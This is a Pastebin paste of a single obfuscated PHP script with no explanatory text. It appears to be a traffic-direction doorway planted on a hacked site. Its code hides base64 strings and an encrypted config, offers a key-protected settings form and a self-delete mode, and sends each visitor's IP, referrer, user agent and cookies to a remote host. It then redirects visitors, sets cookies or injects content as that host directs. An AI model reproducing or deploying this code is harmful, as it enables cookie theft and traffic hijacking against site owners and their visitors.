Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?$cfg='vyy/dDiqxusrXzq9oLBN53P34KOcvF9EhmMIFhDTywMBYLygupRNeIf94jSCpoYatJYSpCbvMdqX+AbQPm6ZlapFto/JcauCz3tbAVQ4593naQ334/ppISDYaelty5kx3Mtwnk8J6oEkRM+R7zHZK+NOEbgI/F6YD/J4dBlQg6wvHJN6Cf9RmnFR2gqibYC1FcSjywD0n/+jGcODSHJ6OE+OEfzgPK8ZVHQGALqeE00='; ?>
- <? function _536298672($i){$a=Array('a0xRYzhZMmc=','UkRycQ==','','SCo=','bW9kZQ==','Y29uZmln','a2V5','a2V5','PGZvcm0gbmFtZT0iZm9ybTEiIG1ldGhvZD0icG9zdCIgYWN0aW9uPT9tb2RlPXNldGNvbmZpZyZrZXk9','a2V5','PjxwcmU+ClREUzogICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJwdGRzIiB2YWx1ZT0i','dXJs','Ij4gIFREUyBJUDogIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJwdGRzaXAiIHZhbHVlPSI=','aXA=','Ij4KS0VZOiAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InBrZXkiIHZhbHVlPSI=','a2V5','Ij4gIFJlc2VydmU6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJwdG8iIHZhbHVlPSI=','bGlu','Ij4KSUQ6ICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InBlc2RpZCIgdmFsdWU9Ig==','aWQ=','Ij4gIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9IlN1Ym1pdCIgdmFsdWU9Im9rIj48L3ByZT4KPC9mb3JtPg==','c2V0Y29uZmln','a2V5','a2V5','Lw==','U0NSSVBUX05BTUU=','dXJs','cHRkcw==','aXA=','cHRkc2lw','bGlu','cHRv','aWQ=','cGVzZGlk','a2V5','cGtleQ==','dw==','','U2F2ZWQuCg==','a2lsbA==','a2V5','a2V5','Nzc3','U0NSSVBUX0ZJTEVOQU1F','U0NSSVBUX0ZJTEVOQU1F','b2sK','Lw==','dXJs','aXA=','aXA=','aHR0cDovLw==','SFRUUF9IT1NU','U0NSSVBUX05BTUU=','UkVNT1RFX0FERFI=','bm8=','SFRUUF9YX0ZPUldBUkRFRF9GT1I=','eWVz','SFRUUF9VU0VSX0FHRU5U','a2V5','Jg==','a2V5','PQ==','UVVFUllfU1RSSU5H','R0VUIA==','dXJs','P2RvbT0=','JnJlZj0=','JmlwPQ==','JnByb3g9','JmFnZW50PQ==','JmNvb2tpZT0=','JmVzZGlkPQ==','aWQ=','IEhUVFAvMS4wDQo=','SG9zdDog','DQo=','Q29ubmVjdGlvbjogQ2xvc2UNCg0K','DQo=','ZG8=','ZG8=','IA==','bGlu','MjAw','bGlu','Oi8v','aHR0cA==','SFRUUC8xLjEgMzAyIEZvdW5k','TG9jYXRpb246IA==','Y29vaw==','Jg==','PQ==','ZWNobw==');return base64_decode($a[$i]);} ?><?php error_reporting(0);$key=_536298672(0);function string_cpt($String,$Password){$Salt=_536298672(1);$StrLen=strlen($String);$Seq=$Password;$Gamma=_536298672(2);while(strlen($Gamma)<$StrLen){$Seq=pack(_536298672(3),sha1($Gamma .$Seq .$Salt));$Gamma.=substr($Seq,0,8);}return $String^$Gamma;}$c=unserialize(string_cpt(base64_decode($cfg),$key));$mode=$_REQUEST[_536298672(4)];if($mode== _536298672(5)AND $c[_536298672(6)]==$_REQUEST[_536298672(7)]){echo _536298672(8) .$_REQUEST[_536298672(9)] ._536298672(10) .$c[_536298672(11)] ._536298672(12) .$c[_536298672(13)] ._536298672(14) .$c[_536298672(15)] ._536298672(16) .$c[_536298672(17)] ._536298672(18) .$c[_536298672(19)] ._536298672(20);die();}if($mode== _536298672(21)AND $c[_536298672(22)]==$_REQUEST[_536298672(23)]){$sn=explode(_536298672(24),$_SERVER[_536298672(25)]);foreach($sn as $snn){$scr=$snn;}$getlpa=file($scr);$strng=$getlpa[0];$file=file($scr);for($i=0;$i<sizeof($file);$i++)if($i==0){$c[_536298672(26)]=$_POST[_536298672(27)];$c[_536298672(28)]=$_POST[_536298672(29)];$c[_536298672(30)]=$_POST[_536298672(31)];$c[_536298672(32)]=$_POST[_536298672(33)];$c[_536298672(34)]=$_POST[_536298672(35)];$cfg=base64_encode(string_cpt(serialize($c),$key));$file[$i]="<?\$cfg='$cfg'; ?>\n";}$fp=fopen($scr,_536298672(36));if(fputs($fp,implode(_536298672(37),$file)))die(_536298672(38));fclose($fp);}if($mode== _536298672(39)AND $c[_536298672(40)]==$_REQUEST[_536298672(41)]){chmod(_536298672(42),$_SERVER[_536298672(43)]);if(unlink($_SERVER[_536298672(44)]))die(_536298672(45));}$dom=explode(_536298672(46),$c[_536298672(47)]);$dom=$dom[2];$dhost=$dom;if($c[_536298672(48)]){$dom=$c[_536298672(49)];}$fp=fsockopen($dom,80,$errno,$errstr,2);if(!$fp){$res=1;}else{$t_dom=urlencode(_536298672(50) .$_SERVER[_536298672(51)] .$_SERVER[_536298672(52)]);$t_ref=urlencode($_SERVER[HTTP_REFERER]);$t_ip=urlencode($_SERVER[_536298672(53)]);$t_prox=_536298672(54);if($_SERVER[_536298672(55)]){$t_prox=_536298672(56);}$t_agent=urlencode($_SERVER[_536298672(57)]);foreach($_COOKIE as $c[_536298672(58)]=>$val){$t_cookie=$t_cookie ._536298672(59) .$c[_536298672(60)] ._536298672(61) .$val;}$t_cookie=urlencode($t_cookie);if(empty($t_cookie)){$t_cookie=urlencode($_SERVER[_536298672(62)]);}$out=_536298672(63) .$c[_536298672(64)] ._536298672(65) .$t_dom ._536298672(66) .$t_ref ._536298672(67) .$t_ip ._536298672(68) .$t_prox ._536298672(69) .$t_agent ._536298672(70) .$t_cookie ._536298672(71) .$c[_536298672(72)] ._536298672(73);$out .= _536298672(74) .$dhost ._536298672(75);$out .= _536298672(76);fwrite($fp,$out);while(!feof($fp)){$str=fgets($fp,128);$ch.=$str;if($str== _536298672(77)&& empty($he)){$he=_536298672(78);}if($he== _536298672(79)){$goto.=$str;}}fclose($fp);}$goto=substr($goto,2);$ch=explode(_536298672(80),$ch);if($res){$goto=$c[_536298672(81)];}if($ch[1]== _536298672(82)){}else{$goto=$c[_536298672(83)];}$gotoe=explode(_536298672(84),$goto);If($gotoe[0]== _536298672(85)){header(_536298672(86));header(_536298672(87) .$goto);}$goto_body=substr($goto,7);If($gotoe[0]== _536298672(88)){$gotoee=explode(_536298672(89),$goto_body);foreach($gotoee as $setcook){$set=explode(_536298672(90),$setcook);setcookie($set[0],$set[1]);}}If($gotoe[0]== _536298672(91)){echo $goto_body;} ?>
Advertisement
Add Comment
Please, Sign In to add comment
